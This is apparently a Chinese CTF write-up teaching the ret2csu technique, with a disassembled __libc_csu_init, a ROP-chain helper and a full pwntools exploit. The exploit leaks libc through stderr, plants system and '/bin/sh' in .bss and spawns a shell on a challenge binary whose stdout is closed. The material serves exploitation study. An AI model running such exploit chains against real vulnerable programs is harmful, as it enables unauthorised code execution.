CSU
原理
在64位系统中,前6个参数是由寄存器传递的,但是是很难在程序中找到每一个的gadget,这时候就可以利用__libc_csu_init中的gadget。
.text:0000000000401260 ; void _libc_csu_init(void)
.text:0000000000401260 public __libc_csu_init
.text:0000000000401260 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401260 ; __unwind {
.text:0000000000401260 endbr64
.text:0000000000401264 push r15
.text:0000000000401266 lea r15, __frame_dummy_init_array_entry
.text:000000000040126D push r14
.text:000000000040126F mov r14, rdx
.text:0000000000401272 push r13
.text:0000000000401274 mov r13, rsi
.text:0000000000401277 push r12
.text:0000000000401279 mov r12d, edi
.text:000000000040127C push rbp
.text:000000000040127D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401284 push rbx
.text:0000000000401285 sub rbp, r15
.text:0000000000401288 sub rsp, 8
.text:000000000040128C call _init_proc
.text:0000000000401291 sar rbp, 3
.text:0000000000401295 jz short loc_4012B6
.text:0000000000401297 xor ebx, ebx
.text:0000000000401299 nop dword ptr [rax+00000000h]
.text:00000000004012A0
.text:00000000004012A0 loc_4012A0: ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004012A0 mov rdx, r14
.text:00000000004012A3 mov rsi, r13
.text:00000000004012A6 mov edi, r12d
.text:00000000004012A9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012AD add rbx, 1
.text:00000000004012B1 cmp rbp, rbx
.text:00000000004012B4 jnz short loc_4012A0
.text:00000000004012B6
.text:00000000004012B6 loc_4012B6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012B6 add rsp, 8
.text:00000000004012BA pop rbx
.text:00000000004012BB pop rbp
.text:00000000004012BC pop r12
.text:00000000004012BE pop r13
.text:00000000004012C0 pop r14
.text:00000000004012C2 pop r15
.text:00000000004012C4 retn
.text:00000000004012C4 ; } // starts at 401260
.text:00000000004012C4 __libc_csu_init endp
这里我们重点关注loc_4012A0和loc_4012B6。可以通过loc_4012B6控制r12、r13、r14,再ret到loc_4012A0间接控制传参寄存器。但需要注意的是:控制rdi的指令是mov edi, r12d,只能控制4字节。
csu_pop_addr=0x4012BA
csu_call_addr=0x4012A0
def csu(r15, r12, r13, r14, rbp, rbx, func_addr):
# rdx=r14
# rsi=r13
# edi=r12d
# rbp=rbx+1
# call->r15+rbx*8
r15 = r15 - rbx * 8
rop = b''
rop += p64(csu_pop_addr)
rop += p64(rbx)
rop += p64(rbp)
rop += p64(r12)
rop += p64(r13)
rop += p64(r14)
rop += p64(r15)
rop += p64(csu_call_addr)
rop += b'A' * 0x38 # 0x30(pop)+0x8(因为pop前面还有一次rsp+8,所以补齐)
rop += p64(func_addr)
return rop
编写EXP使可以定义上面的函数便利csu脚本的编写。
例题
$ checksec ./pwn
[*] '/home/tracs/PWN/FS_PWN/ez_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3f9000)
RUNPATH: b'/home/tracs/PWN/FS_PWN/ez_pwn'
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
write(1, "Close your eye, and you are blind now.", 0x26uLL);
close(1);
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
源程序没开PIE、Canary,且存在很大的溢出漏洞,但是关掉了stdout=1,也没有再程序内找到gadget,也不存在白给的system。故而可以用csu来控制寄存器传参,并且需要用stderr=2来泄露libc地址(在使用上,stderr=2和stdout=1没有明显的区别)。(上文__libc_csu_init摘抄自此题,所以下文直接用上文的地址)
io.recvuntil(b'Close your eye, and you are blind now.')
payload_1=b'A'*0x28
payload_1+=csu(
r15=elf.got['write'],
r12=2,
r13=elf.got['write'],
r14=8,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_1################################################')
pause()
io.sendline(payload_1)
leak=io.recvn(8)
write_addr=u64(leak)
log.success('write_addr:'+hex(write_addr))
libc.address=write_addr - libc.symbols['write']
log.success('libc_addr:'+hex(libc.address))
libc_system=libc.symbols['system']
log.success('libc_system:'+hex(libc_system))
# libc_binsh=next(libc.search(b'/bin/sh'))
# log.success('libc_binsh:'+hex(libc_binsh))
利用payload_1可以泄露libc地址,我们后续再利用libc地址get shell。
bss_addr=elf.bss()+0x300
log.success('bss_addr:'+hex(bss_addr))
payload_2=b'A'*0x28
payload_2+=csu(
r15=elf.got['read'],
r12=0,
r13=bss_addr,
r14=8,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_2################################################')
pause()
io.sendline(payload_2)
print('bss->libc_system##############################################')
pause()
io.send(p64(libc_system))
因为csu_call_addr里面的call是call [r15+rbx*8],将寄存器内地址解引用了一次,所以我们需要先吧libc_ststem的地址放在一个可写的位置。同时这里重新从main跑一遍,没有io.recvuntil(b'Close your eye, and you are blind now.')的原因在于第一次main的时候关掉了stdout,write(1, "Close your eye, and you are blind now.", 0x26uLL)将不会输出任何东西。
payload_3=b'A'*0x28
payload_3+=csu(
r15=elf.got['read'],
r12=0,
r13=bss_addr+0x8,
r14=8,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_3##############################################')
pause()
io.sendline(payload_3)
print('/bin/sh->bss+0x8##############################################')
pause()
io.send(b'/bin/sh\x00')
因为rdi作为第一个参数只能传递4字节,而libc_binsh=next(libc.search(b'/bin/sh'))因为ASLR的随机化,往往会有6字节,所以我们就不利用libc内/bin/sh的字符而是写在.bss内。
payload_4=b'A'*0x28
ret_addr=0x401206
payload_4+=p64(ret_addr)
payload_4+=csu(
r15=bss_addr,
r12=bss_addr+0x8,
r13=0,
r14=0,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_4##############################################')
pause()
io.sendline(payload_4)
最后执行systerm(/bin/sh,0,0)。
from pwn import *
context(arch='amd64',os='linux')
context.log_level='debug'
pwn='./pwn'
elf=ELF(pwn)
libc=elf.libc
remote_f=0
if remote_f:
io=remote('xxxxx',12345)
else:
io=process(pwn)
def dbg():
gdb.attach(io)
pause()
def csu(r15, r12, r13, r14, rbp, rbx, func_addr):
# rdx=r14
# rsi=r13
# edi=r12d
# rbp=rbx+1
# call->r15+rbx*8
r15 = r15 - rbx * 8
rop = b''
rop += p64(csu_pop_addr)
rop += p64(rbx)
rop += p64(rbp)
rop += p64(r12)
rop += p64(r13)
rop += p64(r14)
rop += p64(r15)
rop += p64(csu_call_addr)
rop += b'A' * 0x38 # 0x30(pop)+0x8(因为pop前面还有一次rsp+8,所以补齐)
rop += p64(func_addr)
return rop
csu_pop_addr=0x4012BA
csu_call_addr=0x4012A0
###############################################################
io.recvuntil(b'Close your eye, and you are blind now.')
payload_1=b'A'*0x28
payload_1+=csu(
r15=elf.got['write'],
r12=2,
r13=elf.got['write'],
r14=8,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_1################################################')
pause()
io.sendline(payload_1)
leak=io.recvn(8)
write_addr=u64(leak)
log.success('write_addr:'+hex(write_addr))
libc.address=write_addr - libc.symbols['write']
log.success('libc_addr:'+hex(libc.address))
libc_system=libc.symbols['system']
log.success('libc_system:'+hex(libc_system))
# libc_binsh=next(libc.search(b'/bin/sh'))
# log.success('libc_binsh:'+hex(libc_binsh))
bss_addr=elf.bss()+0x300
log.success('bss_addr:'+hex(bss_addr))
payload_2=b'A'*0x28
payload_2+=csu(
r15=elf.got['read'],
r12=0,
r13=bss_addr,
r14=8,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_2################################################')
pause()
io.sendline(payload_2)
print('bss->libc_system##############################################')
pause()
io.send(p64(libc_system))
payload_3=b'A'*0x28
payload_3+=csu(
r15=elf.got['read'],
r12=0,
r13=bss_addr+0x8,
r14=8,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_3##############################################')
pause()
io.sendline(payload_3)
print('/bin/sh->bss+0x8##############################################')
pause()
io.send(b'/bin/sh\x00')
payload_4=b'A'*0x28
ret_addr=0x401206
payload_4+=p64(ret_addr)
payload_4+=csu(
r15=bss_addr,
r12=bss_addr+0x8,
r13=0,
r14=0,
rbp=1,
rbx=0,
func_addr=elf.symbols['main']
)
print('payload_4##############################################')
pause()
io.sendline(payload_4)
io.interactive()
完整EXP如上。但依然存在的问题是get shell后因为main->close(1);的缘故,ls、cat等都无法正常输出东西。需要先执行bash 1>&2:启动一个子shell,将命令的标准输出重定向到标准错误。
上面的解法确实有些繁琐,你可以尝试在泄露libc地址后用One_gadget来get shell。

浙公网安备 33010602011771号